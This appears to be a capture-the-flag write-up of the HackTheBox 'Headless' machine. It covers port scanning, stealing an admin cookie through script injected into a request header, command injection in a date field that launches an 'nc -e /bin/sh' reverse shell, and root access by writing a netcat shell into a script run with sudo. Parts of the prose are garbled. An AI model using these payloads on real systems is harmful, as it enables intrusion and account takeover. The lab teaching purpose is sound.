There is a Linux box on HTB that is “easy.” We’ll open it up today to see what lessons it can impart.
Listing
After connecting to OpenVPN on our Kali computer, we can verify that we can access the IP HTB allocated to us.
We receive a reply. Let’s do a network scan using Nmap as a follow-up.
nmap -sV -sC -p-
We can check for the version of the identified services using sV.
sC instructs Nmap to execute a series of default scripts against services found on open ports.
Instead of scanning the most popular 1000 TCP ports by default, -p- instructs to search all 65535 accessible ports.
We are beginning to understand our situation. An SSH port of 22 and a TCP port of 5000 have responded with a 200 code, which indicates “OK,” indicating that it is most likely a website. No other services were found. Let’s go to our webpage.
There are lots of opportunities here. Let’s continue the enumeration by utilizing FFUF to search for potential subfolders.
fun -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http:///FUZZ -c -ac -e .php,.html -H “User-Agent: Mozilla/5.0”
We need a wordlist to look for possible subdirectories. I use a specialist that is simple to install on Kali.
Use—u for the URL we want to fuzz. The keyword FUZZ should be added to the URL to specify where the elements from the wordlist should be added.
-ac is for automatic calibration, which will filter out the noise from the replies, maybe concealing information that isn’t needed.
For each payload we deliver,—e stands for extensions. In this instance, add “.php” and “.html” to each word in the wordlist.
The headers we will use for each request are defined by -H. Browsers frequently utilize the User-Agent string “Mozilla/5.0.” Since some websites display different content depending on the user agent or may block requests from known security tools, this might be used to simulate a request from a real browser.
Two ends are found. An internal server issue is an excellent indication that we should look into it more before starting to look for vulnerabilities. Perhaps we can use CURL to investigate it and see the error message we most likely see. The second is a support page that yields a substantial amount of information. When we open this page, we see a contact form of som we can likely attempt to take advantage of.
We must be logged in to visit the Dashboard endpoint, which informs us that we are not authorized. Because we additionally own a form that we might be able to utilize, finding out that an SQL injection is possible does not help us immediately.
The following error occurs when we try to exploit the form.
In the response, we receive an intriguing cookie. This cookie might help us access the dashboard.
This suggests some defence against those assaults as well.
We can observe that the cookie encodes “User” when we pass it through Cybersechef.
I’m unsuccessful when I try to get into the dashboard with the cookie configured.
Breaking the dashboard
Adding a script to the message that would be viewed by an administrator who looked into our messages and sent us the administrator’s cookies would be fantastic.
The cookie we previously found indicates that we should attempt to address cookies.
An excellent article that describes the exploit is the one above.
At this point, we should try to extract the support request from the form and place our payload in a location that avoids detection.
After much tinkering, I finally got my payload into the request’s headers (I suppose that’s why the box got its name).
We launch the Python web server, which will receive the request from our cookie-containing payload.
After successfully capturing the cookie, we can use Cyber Chef to decode it (from Base64)
granting the user web server access
After chWe, we can access the dashboard after our cookie to reflect the new value; we can experiment with the features and create a report on the server.
The web server’s working directory is rendered on our front end and can be inserted straightforwardly into unclean user input (see the green bar).
If “pwd” works, netcat most likely will too. Let’s attempt to obtain a shell in reverse.
date=2023-09-15; nc -e /bin/sh
Before, of course, we start our listener.
After submitting the request, we get the shell.
Getting the root
A standard path for exploitation. We run
sudo -l
to figure out what we can run with root privs. It’s a simple script that will call a user-accessible binary-> /initdb.
Let’s insert another shell there, as we can edit that binary here.
Here, we insert payload
echo “nc -e /bin/sh”> initdb. Sh.
We can start another listener on our attacker’s machine. We get our reverse root shell after executing the sys check function with sudo.
For More Info, Visit Here:https://abdullhouhadi.com/headless-machine-htb-writeup/